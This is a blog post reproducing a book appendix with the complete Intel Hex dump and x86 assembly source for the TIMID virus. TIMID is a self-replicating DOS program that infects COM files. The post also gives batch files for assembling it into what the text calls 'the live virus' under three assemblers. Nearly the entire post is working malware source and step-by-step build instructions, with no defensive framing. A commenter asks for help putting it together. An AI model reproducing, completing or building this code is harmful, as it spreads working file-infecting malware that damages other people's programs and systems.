Subscribe For Free Updates!

We'll not spam mate! We promise.

1

The assembly language listings of all viruses are provided in the appendicies. They have been designed so they can be assembled using either Microsoft Macro Assembler (MASM), Turbo Assembler (TASM), or the shareware program A86. Batch files are also listed which carry out the assembly with all three assemblers and get the viruses into an executable state.
Additionally, Intel Hex listings of all viruses in this book are provided here, in the appendicies. This will enable the reader who has only a word processor and the BASIC language to get the viruses into his computer and running. In Appendix F you will find a BASIC listing of the Hex Loader which will transform the Intel Hex listings of the viruses into executable programs. All you have to do is type it in to your computer using the BASIC editor and save it. Then, to create a virus, type in the Hex listing exactly as printed here, using a word processor, and save it to a file (e.g. TIMID.HEX). When you run the Hex Loader, it will prompt you for the Hex file name, and the Binary file name. Just enter the names, and it will create the Binary file from the Hex file. If you made any errors in typing the Hex file in, the loader will alert you to the error and tell you which line number it is on.
For example, to create TIMID.COM from TIMID.HEX, run the loader and it will prompt you “Source file?,” at which you should enter “TIMID.HEX”. Next, the loader will prompt you “Destination file?” and you should enter “TIMID.COM”. It will run for a few seconds and then tell you it is finished. When you exit from BASIC, you should have a file TIMID.COM on disk. This is the live virus.
Here is the complete Intel Hex listing for the TIMID virus (TIMID.HEX):
:10000000E909005649212A2E434F4D00E80000819E
:100010002EFCFF0900BA2AFFB41ACD21E83E007574
:1000200010E88F00BA48FFC70655FF2400B409CD79
:1000300021BA8000B41ACD218B1EFCFF8B875200A1
:10004000A300018B875400A302018A875600A204F3
:1000500001C706FCFF0001C3B44CB000CD8B16FCF9
:10006000FFB93F00B44ECD210AC0750BE8090074FA
:1000700006B44FCD21EBF1C3BA48FFB8023DCD2104
:1000800072298BD853B90500BA57FFB43FCD215B15
:10009000B43ECD21A144FF050502720F803E57FFFB
:1000A000E9750D813E5AFF56497505B0010AC0C376
:1000B00032C0C3BA48FFB8023DCD21A355FF33C9B2
:1000C0008BD18B1E55FFB80242CD21B931018B1661
:1000D000FCFF8B1E55FFB440CD2133C98B1644FF66
:1000E00081C252008B1E55FFB80042CD21B90500D8
:1000F0008B1E55FFBA57FFB440CD2133C98BD18B2E
:100100001E55FFB80042CD218B1EFCFFC60657FFCF
:10011000E9A144FF050300A358FFC7065AFF56494B
:10012000B90500BA57FF8B1E55FFB440CD218B1E79
:0701300055FFB43ECD21C3D1
:00000001FF
Here is the assembly language listing for the TIMID virus (TIMID.ASM):
;This program is a basic virus that infects just COM files. It gets the first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters “VI”, which are used by the
;virus to identify an already infected ;program.
MAIN    SEGMENT BYTE
       ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
       ORG     100H
;This host is a shell of a program which will release the virus into the
;system. All it does is jump to the virus routine, which does its job and ;returns to it, at which point it terminates to DOS.
HOST:         jmp     NEAR PTR VIRUS_START    ;MASM cannot assemble this jmp correctly         db      ’VI’         mov     ah,4CH         mov     al,0
       int     21H              ;terminate normally with DOS
VIRUS:                           ;a label for the first byte of the virus
COMFILE DB      ’*.COM’,0        ;search string for a com file
VIRUS_START:         call    GET_START       ;get start address ;This is a trick to determine the location of the start of the program. We put
;the address of GET_START on the stack with the call, which is overlayed by
;VIR_START. Subtract offsets to get @VIRUS GET_START:
       sub     WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS         mov     dx,OFFSET DTA   ;put DTA at the end of the virus for now         mov     ah,1AH          ;set new DTA function         int     21H         call    FIND_FILE       ;get a com file to attack         jnz     EXIT_VIRUS      ;returned nz - no file to infect, exit         call    INFECT          ;have a good COM file to use - infect it         mov     dx,OFFSET FNAME ;display the name of the file just infected         mov     WORD PTR [HANDLE],24H    ;make sure string terminates w/ ’$’         mov     ah,9
       int     21H             ;display it EXIT_VIRUS:
       mov     dx,80H          ;fix the DTA so that the host program doesn’t         mov     ah,1AH          ;get confused and write over its data with         int     21H             ;file i/o or something like that!         mov     bx,[VIR_START]  ;get the start address of the virus         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)]   ;restore         mov     WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2]         mov     WORD PTR [HOST+2],ax         mov     al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]         mov     BYTE PTR [HOST+4],al         mov     [VIR_START],100H   ;set up stack to do return to host program         ret                     ;and return to host START_CODE:                     ;move first 5 bytes from host program to here         nop                     ;nop’s for the original assembly code         nop                     ;will work fine         nop         nop         nop
;*******************************************************************************
;Find a file which passes FILE_OK
;This routine does a simple directory search to find a COM file in the current ;directory, to find a file for which FILE_OK returns with z set.
FIND_FILE:         mov     dx,[VIR_START] ;       add     dx,OFFSET COMFILE - OFFSET VIRUS  ;this is zero here, so omit it         mov     cx,3FH          ;search for any file, with any attributes         mov     ah,4EH          ;do DOS search first function         int     21H FF_LOOP:
       or      al,al           ;is DOS return OK?
       jnz     FF_DONE         ;no - quit with Z reset         call    FILE_OK         ;return ok - is this a good file to use?         jz      FF_DONE         ;yes - valid file found - exit with z set         mov     ah,4FH          ;not a valid file, so         int     21H             ;do find next function         jmp     FF_LOOP         ;and go test next file for validity FF_DONE:         ret
;*******************************************************************************
;Function to determine whether the COM file specified in FNAME is useable. If ;so return z, else return nz.
;What makes a COM file useable?:
;              a) There must be space for the virus without exceeding the ;                 64 KByte file size limit.
;              b) Bytes 0, 3 and 4 of the file are not a near jump op code,
;                 and ’V’, ’I’, respectively
; FILE_OK:
       mov     dx,OFFSET FNAME ;first open the file
       mov     ax,3D02H      ;r/w access open file - we’ll want to write to it         int     21H         jc      FOK_NZEND     ;error opening file - quit, file can’t be used         mov     bx,ax         ;put file handle in bx         push    bx            ;and save it on the stack         mov     cx,5          ;next read 5 bytes at the start of the program         mov     dx,OFFSET START_IMAGE         ;and store them here         mov     ah,3FH        ;DOS read function         int     21H
       pop     bx            ;restore the file handle         mov     ah,3EH         int     21H           ;and close the file
       mov     ax,WORD PTR [FSIZE]               ;get the file size of the host         add     ax,OFFSET ENDVIRUS - OFFSET VIRUS      ;add size of virus to it         jc      FOK_NZEND                         ;c set if size goes above 64K         cmp     BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jmp         jnz     FOK_ZEND         ;not a near jump, file must be ok, exit with z         cmp     WORD PTR [START_IMAGE+3],4956H ;ok, is ’VI’ in positions 3 & 4?         jnz     FOK_ZEND           ;no, file can be infected, return with Z set FOK_NZEND:         mov     al,1          ;we’d better not infect this file         or      al,al         ;so return with z reset         ret FOK_ZEND:         xor     al,al         ;ok to infect, return with z set         ret
;*******************************************************************************
;This routine moves the virus (this program) to the end of the COM file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored ;in memory.
INFECT:         mov     dx,OFFSET FNAME ;first open the file         mov     ax,3D02H          ;r/w access open file, we want to write to it         int     21H         mov     WORD PTR [HANDLE],ax             ;and save the file handle here
       xor     cx,cx                       ;prepare to write virus on new file         mov     dx,cx               ;position file pointer, cx:dx = pointer = 0         mov     bx,WORD PTR [HANDLE]         mov     ax,4202H                    ;locate pointer to end DOS function         int     21H
       mov     cx,OFFSET FINAL - OFFSET VIRUS ;now write virus, cx=# bytes         mov     dx,[VIR_START]           ;ds:dx = place in memory to write from         mov     bx,WORD PTR [HANDLE]                          ;bx = file handle         mov     ah,40H                                      ;DOS write function         int     21H
       xor     cx,cx           ;now save 5 bytes which came from start of host         mov     dx,WORD PTR [FSIZE]               ;so position the file pointer         add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is         mov     bx,WORD PTR [HANDLE]                          ;in the new virus         mov     ax,4200H              ;and use DOS to position the file pointer         int     21H
       mov     cx,5                       ;now go write START_CODE in the file         mov     bx,WORD PTR [HANDLE]                    ;this data was obtained         mov     dx,OFFSET START_IMAGE        ;during the FILE_OK function above         mov     ah,40H         int     21H
       xor     cx,cx                 ;now go back to the start of host program         mov     dx,cx                   ;so we can put the jump to the virus in         mov     bx,WORD PTR [HANDLE]         mov     ax,4200H                          ;locate file pointer function         int     21H
       mov     bx,[VIR_START]       ;calculate jump location for start of code         mov     BYTE PTR [START_IMAGE],0E9H     ;first the near jump op code E9         mov     ax,WORD PTR [FSIZE]              ;and then the relative address         add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3   ;these go to START_IMAGE         mov     WORD PTR [START_IMAGE+1],ax         mov     WORD PTR [START_IMAGE+3],4956H         ;and put ’VI’ ID code in
       mov     cx,5   ;ok, now go write the 5 bytes we just put in START_IMAGE         mov     dx,OFFSET START_IMAGE           ;ds:dx = pointer to START_IMAGE         mov     bx,WORD PTR [HANDLE]                               ;file handle         mov     ah,40H                                      ;DOS write function         int     21H
       mov     bx,WORD PTR [HANDLE]          ;finally, get handle off of stack         mov     ah,3EH                                          ;and close file         int     21H         ret                                 ;all done, the virus is transferred FINAL:           ;label for last byte of code to be kept in virus when it moves
ENDVIRUS        EQU     $ + 212    ;label for determining space needed by virus
;Note: 212 = FFFF - FF2A - 1 = size of data space
;      $ gives approximate size of code required for virus
      ORG     0FF2AH
DTA             DB      1AH dup (?) ;this is a work area for the search function
FSIZE           DW      0,0         ;file size storage area
FNAME           DB      13 dup (?)  ;area for file path
HANDLE          DW      0           ;file handle
START_IMAGE     DB      0,0,0,0,0   ;area to store 5 bytes to rd/wrt to file
VSTACK          DW      50H dup (?) ;stack for the virus program
VIR_START       DW      (?)         ;start address of VIRUS (overlays stack)
MAIN    ENDS
       END     HOST
In order to create a working copy of the virus (i.e. an infected COM file), you will also need the very short program
SHELLT.ASM:
;Assembly language shell for a simple COM file program
MAIN    SEGMENT BYTE
       ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING         ORG     100H
START: FINISH: mov     ah,4CH         mov     al,0
       int     21H             ;terminate normally with DOS MAIN    ENDS
       END     START
In order to create a working virus under Turbo Assembler, create the following batch file (MAKET_T.BAT), along with the above two ASM files, put them all in the same directory, and execute the batch file. The end result will be a file TIMID.COM, which is a COM file with the virus attached to it.
  md timid    tasm timid,,;    tlink /t timid,,;    copy timid.com timid    tasm shellt,,;    tlink /t shellt,,;    copy shellt.com timid    cd timid    timid    del timid.com    copy shellt.com ..\timid.com    del shellt.com    cd ..    rd timid    del *.obj    del *.lst    del *.map    del shellt.com
If you prefer to use the Microsoft Assembler (MASM), you’ll need two files, MAKET_M.BAT:
  md timid    masm timid,,;    link timid,,;    debug timid.exe aket_m.dbg    masm shellt,,;    link shellt,,;    exe2bin shellt shellt.com    copy shellt.com timid    copy timid.com timid    cd timid    timid    del timid.com
  copy shellt.com ..\timid.com    del shellt.com    cd ..    rd timid    del *.obj    del *.lst    del *.map    del shellt.com    del timid.exe    del shellt.exe
and MAKET_M.DBG:
  n timid.com    r cx    400    r bx    0    w 100    q
When you run MAKET_M.BAT, make sure the DOS program DEBUG is in your path, so it will execute when called by the batch file. The reason you need DEBUG with MASM, but not with TASM is that MASM tries to outsmart the programmer about the type of jump instructions to code into the program, so instead of coding a near jump, it can automatically switch it over to a short jump. This is simply not acceptable, so we use DEBUG to correct
MASM.
If you prefer to assemble the virus using A86, create and execute the following batch file (MAKET_A.BAT):

  md timid    a86 timid.asm timid.com    a86 shellt.asm shellt.com    copy shellt.com timid    copy timid.com timid    cd timid    timid    del timid.com    copy shellt.com ..\timid.com    del shellt.com    cd ..    rd timid    del shellt.com    del *.sym

About The Author
Hasan Shaikh is the founder and admin of ShmHack, a popular blog dedicated for Learners,Geeks and Bloggers. He is currently 19 years old and loves to post articles related to blogging,SEO,adsense,hacking,security,social medias,computer and android. Find more about him...

Post a Comment

  1. if you could please complete this and email it to me at tjayden2002@gmail.com because i cannot figure out how to put it together

    ReplyDelete

Write Your Precious Comments Here.!

 
Top